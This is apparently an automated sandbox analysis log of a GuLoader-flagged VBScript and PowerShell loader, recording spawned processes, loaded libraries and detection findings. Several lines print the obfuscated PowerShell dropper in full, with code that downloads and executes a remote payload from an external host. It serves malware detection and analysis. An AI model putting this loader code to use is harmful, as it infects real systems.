';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: .Core.pdb@ source: powershell.exe, 00000004.00000002.2993662435.000000000748B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000004.00000002.2993662435.000000000748B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000004.00000002.2993662435.0000000007429000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000004.00000002.2993662435.0000000007429000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("PowerShell", ""cls;write 'unloveliness Vvestol Shrimp", "", "", "0");

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.3001942781.0000000009B15000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Dispatch)$global:Tonical = [System.Text.Encoding]::ASCII.GetString($Palaetiological)$global:Kandidtwr=$Tonical.substring($Tedeummers,$Formningernes)<#Rhizoma Slake Studenterforeninge
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Sammenkdningernes $stemplings $anarkisternes), (Svinglerne @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Aerotaxis = [AppDomain]::CurrentDomain.GetAssemb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Forbifartens120)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Righters, $false).DefineType($Croconic, $
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Dispatch)$global:Tonical = [System.Text.Encoding]::ASCII.GetString($Palaetiological)$global:Kandidtwr=$Tonical.substring($Tedeummers,$Formningernes)<#Rhizoma Slake Studenterforeninge

Obfuscated command line found

